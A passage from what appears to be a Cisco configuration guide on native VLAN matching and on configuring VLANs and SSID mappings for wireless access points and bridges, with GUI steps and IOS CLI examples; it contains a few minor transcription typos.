received untagged. Therefore, when an AP is connected to the switchport, the native VLAN configured on the

AP must match the native VLAN configured on the switchport.

Note:

 If there is a mismatch in the native VLANs, the frames are dropped.

This scenario is better explained with an example. If the native VLAN on the switchport is configured as

VLAN 12 and on the AP, the native VLAN is configured as VLAN 1, then when the AP sends a frame on its

native VLAN to the switch, the switch considers the frame as belonging to VLAN 12 since the frames from

the native VLAN of the AP are untagged. This causes confusion in the network and results in connectivity

problems. The same happens when the switchport forwards a frame from its native VLAN to the AP.

The configuration of native VLAN becomes even more important when you have a Repeater AP setup in your

wireless network. You cannot configure multiple VLANs on the Repeater APs. Repeater APs support only the

native VLAN. Therefore, the native VLAN configuration on the root AP, the switch port to which the AP is

connected, and the Repeater AP, must be the same. Otherwise traffic through the switch does not pass to and

from the Repeater AP.

An example for the scenario where the mismatch in the Repeater AP's native VLAN configuration can create

problems is when there is a DHCP server behind the switch to which the root AP is connected. In this case the

clients associated with the Repeater AP do not receive an IP address from the DHCP server because the

frames (DHCP requests in our case) from the Repeater AP's native VLAN (which is not the same as root AP

and the switch) are dropped.

Also, when you configure the switch port,

 ensure that all the VLANs that are configured on the APs are

allowed on the switchport.

 For example, if VLANs 6, 7, and 8 exist on the AP (Wireless Network) the

VLANs have to be allowed on the switchport. This can be done using this command in the switch:

switchport trunk allowed vlan add 6,7,8

By default, a switchport configured as a trunk allows all VLANs to pass through the trunk port. Refer to

Interaction with Related Switches for more information on how to configure the switchport.

Note:

Allowing all VLANs on the AP can also become a problem in some cases, specifically if it is a large

network. This can result in high CPU utilization on the APs. Prune the VLANs at the switch so that only the

VLAN traffic that the AP is interested in passes through the AP to avoid high CPU.

VLANs on Access Points

In this section, you are presented with the information to configure the features described in this document.

Note:

In order to find additional information on the commands used in this document, use the Command

Lookup Tool (

 registered customers only

) .

Concepts with Access Points

This section discusses concepts about how to deploy VLANs on access points and refers to this network

diagram.

In this sample network, VLAN 1 is the Native VLAN, and VLANs 10, 20, 30 and 40 exist, and are trunked to

another switch chassis. Only VLANs 10 and 30 are extended into the wireless domain. The Native VLAN is

required to provide management capability and client authentications.

Access Point Configuration

In order to configure the access point for VLANs, complete these steps:

1.From the AP GUI, click Services > VLAN to navigate to the Services: VLAN page . The first step is to configure the native VLAN. From the Current VLAN List, select New

.

a. Enter the VLAN number of the Native VLAN in the VLAN ID box. The VLAN number must match the Native VLAN configured on the switch.

b. Because interface BVI 1 is associated to the sub interface of the Native VLAN, the IP address assigned to interface BVI 1 must be in the same IP subnet as other infrastructure devices on the network (that is, the interface SC0 on a Catalyst switch that runs Cat OS.)

c. Select the checkbox for the Native VLAN.

d. Select check boxes for the radio interface or interfaces where this VLAN applies.

e. ClickApply

Or, from the CLI, issue these commands:

AP# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

AP(config)# interface Dot11Radio0.1

AP(config−subif)# encapsulation dot1Q 1 native

AP(config−subif)# interface FastEthernet0.1

AP(config−subif)# encapsulation dot1Q 1 native

AP(config−subif)# end

AP# write memory

2. In order to configure other VLANs, follow these steps:

From the Current VLAN List, select1 New

.

a. Enter the VLAN number of the desired VLAN in the VLAN ID box. The VLAN numbermust match a VLAN configured on the switch.

b. Select check boxes for the radio interface or interfaces where this VLAN applies.

c. Click Apply

.

Or, from the CLI, issue these commands:

AP# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

AP(config)# interface Dot11Radio0.10

AP(config−subif)# encapsulation dot1Q 10

AP(config−subif)# interface FastEthernet0.10

AP(config−subif)# encapsulation dot1Q 10

AP(config−subif)# end

AP# write memory

D. Repeat steps 2a through 2d for each VLAN desired or enter these commands from the CLI with appropriate changes to the subinterface and VLAN numbers:

AP# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

AP(config)# interface Dot11Radio0.30

AP(config−subif)# encapsulation dot1Q 30

AP(config−subif)# interface FastEthernet0.30

AP(config−subif)# encapsulation dot1Q 30

AP(config−subif)# end

AP#  write memory

3. The next step is to associate the configured VLANs to the SSIDs. In order to do this, click Security >SSID Manager

Note: You do not need to associate every VLAN defined on the access point with an SSID. For xample, for security reasons, most access point nstallations do not associate an SSID with the ative VLAN.

a.                 In order to create a new SSID, choose New

b.                 Enter the desired SSID (case−sensitive) in the SSID box.

c.                  Select the desired VLAN number to associate this SSID with from the dropdown list.

Note: In order to keep this document within its intended scope, security for an SSID is not addressed.

d.                 Click apply−RadioX o create the SSID on the selected radio, or Apply−all to create it on allradios.

Or from the CLI, issue these commands:

AP# configure terminal

]Enter configuration commands, one per line.  End with CNTL/Z.

AP(config)# interface Dot11Radio0

AP(config−if)# ssid Red

AP(config−if−ssid)# vlan 10

AP(config−if−ssid)# end

AP# write memory

4. Repeat steps 3a through 3d for each SSID desired or enter these commands from the CLI with appropriate changes to the SSID.

AP#  configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

AP(config)# interface Dot11Radio0

AP(config−if)# ssid Green

AP(config−if−ssid)# vlan 30

AP(config−if−ssid)# end

AP# write memory

VLANs on Bridges

Concepts on BridgesThis section discusses concepts related to how to deploy VLANs on bridges and refers to this network diagram.In this sample network, VLAN 1 is the Native VLAN, and VLANs 10, 20, 30 and 40 exist. Only VLANs 10 and 30 are extended to the other side of the link. The wireless link is encrypted.

In order to encrypt data that passes over the radio link, apply encryption to only the SSID of the Native VLAN. That encryption applies to all other VLANs. When you bridge, there is no need to associate a separate

SSID with each VLAN. VLAN configurations is the same on both the root and non−root bridges.

Bridge Configuration

In order to configure the bridge for VLANs, like the sample network diagram, complete these steps:

1. From the AP GUI, clickServices > VLANto navigate to the Services: VLAN page.

a.     The first step is to configure the Native VLAN. In order to do this, choose \<New> from theCurrent VLAN List.

b.     Enter the VLAN number of the Native VLAN in the VLAN ID box. This must match the Native VLAN configured on the switch.

c.      Because interface BVI 1 is associated to the sub interface of the Native VLAN, the IP address assigned to interface BVI 1 must be in the same IP subnet as other infrastructure devices on the network (i.e. interface SC0 on a Catalyst switch that runs CatOS.)

d.     Select the checkbox for the Native VLAN.

e.      Click  Apply

Or, from the CLI, issue these commands:

bridge# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

bridge(config)# interface Dot11Radio0.1

bridge(config−subif)# encapsulation dot1Q 1 native

bridge(config−subif)# interface FastEthernet0.1

bridge(config−subif)# encapsulation dot1Q 1 native

bridge(config−subif)# end

bridge# write memory

2. In order to configure other VLANs, follow these steps:

a.       From the Current VLAN List, select New

b.       Enter the VLAN number of the desired VLAN in the VLAN ID box. The VLAN number must match a VLAN configured on the switch.

c.       Click Apply

 Or, from the CLI, issue these commands:

bridge# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

bridge(config)# interface Dot11Radio0.10

bridge(config−subif)# encapsulation dot1Q 10

bridge(config−subif)# interface FastEthernet0.10

bridge(config−subif)# encapsulation dot1Q 10

bridge(config−subif)# end

bridge# write memory

d.       Repeat steps 2a through 2c for each VLAN desired or enter the commands from the CLI with appropriate changes to the subinterface and VLAN numbers.

AP# configure terminal

Enter configuration commands, one per line.  End with CNTL/Z.

bridge(config)# interface Dot11Radio0.30

bridge(config−subif)# encapsulation dot1Q 30

bridge(config−subif)# interface FastEthernet0.130

bridge(config−subif)# encapsulation dot1Q 30

bridge(config−subif)# end

bridge# write memory

3.       From the SSID Manager (under the Security > SSID Manager

          menu item,) associate the Native VLAN with an SSID.

Note:  When you bridge, the only SSID that you must associate with a VLAN is the one that correlates to the Native VLAN. You must designate this SSID as the Infrastructure SSID.

a.                 From the Current SSID List, select New

b.                 Enter the desired SSID (case−sensitive) in the SSID box.

c.                  Select the VLAN number that correlates to the Native VLAN from the dropdown list.

Note: In order to keep this document within its intended scope, security for an SSID is not addressed.

d.   Click Apply to create the SSID on the radio and associate it to the Native VLAN.